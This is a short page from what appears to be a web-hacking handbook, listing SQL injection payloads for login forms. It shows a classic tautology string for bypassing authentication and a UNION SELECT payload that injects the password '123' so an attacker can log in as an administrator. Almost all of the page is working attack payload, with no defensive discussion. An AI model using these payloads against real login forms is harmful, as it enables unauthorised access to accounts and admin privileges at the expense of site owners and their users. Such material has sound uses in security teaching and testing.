handbook/tools/3.Web-Hacking/4.Injection/SQL/Commands/SQL-Injection-Vectors/2 - Login form.md

## Login Form

Login Bypass
```
'1 or 1=1;--
```


Impersonalisation
```
'UNION SELECT '123' AS password FROM admins WHERE '1' = '1  ---> Set Password has 123
```

- Enable you to login has Admin with the password "123"